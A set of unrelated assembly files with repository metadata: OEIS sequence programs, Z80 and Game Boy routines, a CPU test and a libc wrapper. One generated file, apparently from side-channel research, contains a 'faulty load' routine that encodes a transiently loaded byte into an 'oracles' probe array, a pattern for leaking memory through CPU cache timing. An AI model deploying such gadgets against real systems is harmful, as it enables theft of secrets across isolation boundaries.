movl $0x0,0x4(%eax) q->tail = 0; 1ae7: 8b 45 08 mov 0x8(%ebp),%eax 1aea: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } return val; 1af1: 8b 45 f0 mov -0x10(%ebp),%eax 1af4: eb 05 jmp 1afb <pop_q+0x77> } return -1; 1af6: b8 ff ff ff ff mov $0xffffffff,%eax } 1afb: c9 leave 1afc: c3 ret
36.45572
64
0.424347
665fa236e6d7f8fd5e82f059bb51dcbd586f17b1
620
asm
Assembly
oeis/226/A226136.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/226/A226136.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/226/A226136.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A226136: Positions of the positive integers in the ordering of rational numbers as generated by the rules: 1 is in S, and if nonzero x is in S, then x+1 and -1/x are in S. (See Comments). ; Submitted by Jon Maiga ; 1,2,4,7,10,15,22,32,47,69,101,148,217,318,466,683,1001,1467,2150,3151,4618,6768,9919,14537,21305,31224,45761,67066,98290,144051,211117,309407,453458,664575,973982,1427440 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,226275 ; Number of new rationals produced at the n-th iteration by applying the map t -> {t+1, -1/t} to nonzero terms, starting with S[0] = {1}. add $1,$2 lpe mov $0,$1 add $0,1
44.285714
190
0.703226
81ee7aa8a94fdd4ba2bdd18aaebe79a80351596e
438
asm
Assembly
mul8bit.asm
gp48k/lpfp
070c73a8b67d98f85d2de86d75b23f0e71a18a8a
[ "MIT" ]
17
2018-06-17T19:12:27.000Z
2021-05-31T16:20:44.000Z
mul8bit.asm
gp48k/lpfp
070c73a8b67d98f85d2de86d75b23f0e71a18a8a
[ "MIT" ]
null
null
null
mul8bit.asm
gp48k/lpfp
070c73a8b67d98f85d2de86d75b23f0e71a18a8a
[ "MIT" ]
4
2018-10-14T16:08:26.000Z
2021-06-21T23:31:59.000Z
; 8 bit unsigned integer multiplication ; In: B,C multiplicands ; Out: HL product ; Pollutes: AF,AF',BC,DE MUL8: LD H,MULTAB/$100 LD A,B ADD A,C RRA LD L,A LD E,(HL) INC H LD D,(HL) ; DE=((B+C)/2)^2 PUSH DE LD A,B SUB A,C JR NC,NOSWAP NEG LD C,B AND A NOSWAP: RRA LD L,A EX AF,AF' ; save carry LD D,(HL) DEC H LD E,(HL) ; DE=((B-C)/2)^2 POP HL AND A SBC HL,DE EX AF,AF' ; load carry RET NC LD B,0 ADD HL,BC RET
12.882353
39
0.60274
ad5128cbbc8fd6eaa28ac92a099c0875bf5c04e2
570
asm
Assembly
libsrc/_DEVELOPMENT/stdio/c/sccz80/fseek.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sccz80/fseek.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sccz80/fseek.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; int fseek(FILE *stream, long offset, int whence) INCLUDE "clib_cfg.asm" SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC fseek EXTERN asm_fseek fseek: pop af pop bc pop hl pop de pop ix push hl push de push hl push bc push af jp asm_fseek ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC fseek EXTERN fseek_unlocked defc fseek = fseek_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
12.666667
50
0.452632
a7b46cc424b99c24839ceeadff5c2e0000bba057
806
asm
Assembly
programs/oeis/024/A024105.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/024/A024105.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/024/A024105.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A024105: a(n) = 9^n - n^4. ; 1,8,65,648,6305,58424,530145,4780568,43042625,387413928,3486774401,31381044968,282429515745,2541865799768,22876792416545,205891132044024,1853020188786305,16677181699583048,150094635296894145,1350851717672861768,12157665459056768801,109418989131512164728,984770902183610998625,8862938119652500816088,79766443076872509531585,717897987691852588379624,6461081889226673298475265,58149737003040059689858728,523347633027360537212896865,4710128697246244834920896408,42391158275216203514293623201,381520424476945831628648975288,3433683820292512484657848040705,30903154382632612361920640617608,278128389443693511257285774895425,2503155504993241601315571984585224,22528399544939174411840147873093025,202755595904452569706561330871079608 mov $1,9 pow $1,$0 pow $0,4 sub $1,$0 mov $0,$1
89.555556
727
0.900744
c1250c91ff7e8e9ce27d562119e457615c2b2a78
382
asm
Assembly
data/maps/objects/CopycatsHouse1F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/objects/CopycatsHouse1F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/objects/CopycatsHouse1F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
CopycatsHouse1F_Object: db $a ; border block def_warps warp 2, 7, 0, LAST_MAP warp 3, 7, 0, LAST_MAP warp 7, 1, 0, COPYCATS_HOUSE_2F def_signs def_objects object SPRITE_MIDDLE_AGED_WOMAN, 2, 2, STAY, DOWN, 1 ; person object SPRITE_MIDDLE_AGED_MAN, 5, 4, STAY, LEFT, 2 ; person object SPRITE_FAIRY, 1, 4, WALK, UP_DOWN, 3 ; person def_warps_to COPYCATS_HOUSE_1F
22.470588
62
0.727749
b1381b9fb37dfba9609a136fb58ba59206d3fa66
1,370
asm
Assembly
verify/lxp32/src/firmware/test002.asm
roneissu/bonfire-cpu
a2e3d84f719936bd8e8272b9cfe33c342684c841
[ "MIT" ]
38
2016-06-14T01:58:10.000Z
2022-02-01T02:58:08.000Z
verify/lxp32/src/firmware/test002.asm
roneissu/bonfire-cpu
a2e3d84f719936bd8e8272b9cfe33c342684c841
[ "MIT" ]
2
2016-09-30T19:12:49.000Z
2017-03-06T15:15:27.000Z
verify/lxp32/src/firmware/test002.asm
roneissu/bonfire-cpu
a2e3d84f719936bd8e8272b9cfe33c342684c841
[ "MIT" ]
5
2018-01-20T20:53:43.000Z
2021-06-16T10:14:46.000Z
/* * This test calculates a few Fibonacci sequence members * end compares them to pre-calculated values. */ lc r100, 0x10000000 // test result output pointer lc r101, halt // Calculate Fibonacci sequence members mov r16, 0 // current member mov r17, 1 // next member lc r18, 0 // counter lc r19, 0x00008000 // destination pointer lc r32, calc_loop calc_loop: sw r19, r16 add r19, r19, 4 add r18, r18, 1 add r0, r16, r17 mov r16, r17 mov r17, r0 cjmpul r32, r18, 40 // Compare lc r16, 0x00008000 lc r17, expected mov r18, 0 // counter lc r32, comp_loop lc r33, comp_differ comp_loop: lw r0, r16 lw r1, r17 cjmpne r33, r0, r1 add r16, r16, 4 add r17, r17, 4 add r18, r18, 1 cjmpul r32, r18, 40 // Everything seems to be OK sw r100, 1 halt: hlt jmp r101 comp_differ: sw r100, 2 jmp r101 // Expected (pre-calculated) values expected: .word 0 .word 1 .word 1 .word 2 .word 3 .word 5 .word 8 .word 13 .word 21 .word 34 .word 55 .word 89 .word 144 .word 233 .word 377 .word 610 .word 987 .word 1597 .word 2584 .word 4181 .word 6765 .word 10946 .word 17711 .word 28657 .word 46368 .word 75025 .word 121393 .word 196418 .word 317811 .word 514229 .word 832040 .word 1346269 .word 2178309 .word 3524578 .word 5702887 .word 9227465 .word 14930352 .word 24157817 .word 39088169 .word 63245986
14.574468
56
0.679562
0c784c36451cafc93ca6c07308ec76da11b5d94a
26
asm
Assembly
test/asm/incbin-end-0.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
522
2017-02-25T21:10:13.000Z
2020-09-13T14:26:18.000Z
test/asm/incbin-end-0.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
405
2017-02-25T21:32:37.000Z
2020-09-13T16:43:29.000Z
test/asm/incbin-end-0.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
84
2017-02-25T21:10:26.000Z
2020-09-13T14:28:25.000Z
INCBIN "data.bin", 123, 0
13
25
0.653846
91e5a1825f35d7a093f30b3c8c24737afa36cf4e
5,460
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_66.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_66.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_66.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x7daf, %rdx nop nop nop nop xor %r14, %r14 mov $0x6162636465666768, %rbp movq %rbp, (%rdx) nop inc %r8 lea addresses_A_ht+0x1e9af, %rsi lea addresses_WT_ht+0x135af, %rdi nop nop cmp %r14, %r14 mov $51, %rcx rep movsq nop nop cmp $25645, %r8 lea addresses_normal_ht+0xb3af, %rdi sub $44185, %rsi movl $0x61626364, (%rdi) nop nop inc %r14 lea addresses_A_ht+0x135af, %rsi lea addresses_D_ht+0x5aaf, %rdi nop nop nop nop sub $64238, %r13 mov $8, %rcx rep movsl nop nop nop dec %r13 lea addresses_A_ht+0x1cbaf, %rdi nop nop sub %r8, %r8 and $0xffffffffffffffc0, %rdi vmovaps (%rdi), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rcx nop nop nop xor %rdi, %rdi lea addresses_D_ht+0x1b63f, %rbp clflush (%rbp) nop nop nop nop xor %r14, %r14 movups (%rbp), %xmm4 vpextrq $1, %xmm4, %rcx nop cmp $2430, %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rbx push %rdx push %rsi // Faulty Load lea addresses_WT+0x5daf, %r12 and %r9, %r9 mov (%r12), %rsi lea oracles, %rdx and $0xff, %rsi shlq $12, %rsi mov (%rdx,%rsi,1), %rsi pop %rsi pop %rdx pop %rbx pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}} {'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
44.032258
2,999
0.660623
0127c62d3ff4a4dffd80d3343a7a20d3d1e23be1
387
asm
Assembly
programs/oeis/163/A163810.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/163/A163810.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/163/A163810.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A163810: Expansion of (1 - x) * (1 - x^2) * (1 - x^3) / (1 - x^6) in powers of x. ; 1,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0 dif $0,2 mul $0,2 mov $2,1 sub $2,$0 mod $2,3 pow $2,$2 mov $0,$2
35.181818
235
0.452196